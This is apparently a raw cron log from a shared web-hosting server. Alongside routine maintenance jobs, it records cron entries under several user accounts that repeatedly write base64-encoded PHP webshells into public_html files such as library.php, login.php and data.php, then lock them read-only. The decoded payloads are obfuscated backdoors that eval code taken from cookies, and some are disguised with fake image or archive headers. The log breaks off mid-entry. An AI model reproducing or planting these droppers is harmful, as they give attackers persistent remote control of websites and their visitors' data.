Apr 19 09:24:01 medusa CROND[23825]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:24:01 medusa CROND[23827]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:24:01 medusa CROND[23830]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:24:01 medusa CROND[23833]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:24:01 medusa CROND[23836]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:24:01 medusa CROND[23840]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:24:01 medusa CROND[23841]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:25:01 medusa CROND[16234]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 09:25:01 medusa CROND[16340]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:25:01 medusa CROND[16341]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 09:25:01 medusa CROND[16343]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 09:25:01 medusa CROND[16344]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 09:25:01 medusa CROND[16345]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 09:25:01 medusa CROND[16346]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 09:25:01 medusa CROND[16348]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 09:25:01 medusa CROND[16352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 09:25:01 medusa CROND[16354]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:25:01 medusa CROND[16347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:25:01 medusa CROND[16350]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 09:25:01 medusa CROND[16360]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:25:01 medusa CROND[16361]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:25:01 medusa CROND[16358]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 09:25:01 medusa CROND[16363]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:25:01 medusa CROND[16364]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:25:01 medusa CROND[16368]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:25:01 medusa CROND[16365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:25:01 medusa CROND[16380]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:25:01 medusa CROND[16381]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:25:01 medusa CROND[16377]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 09:26:01 medusa CROND[8549]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:26:01 medusa CROND[8553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:26:01 medusa CROND[8552]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:26:01 medusa CROND[8554]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 09:26:01 medusa CROND[8556]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMg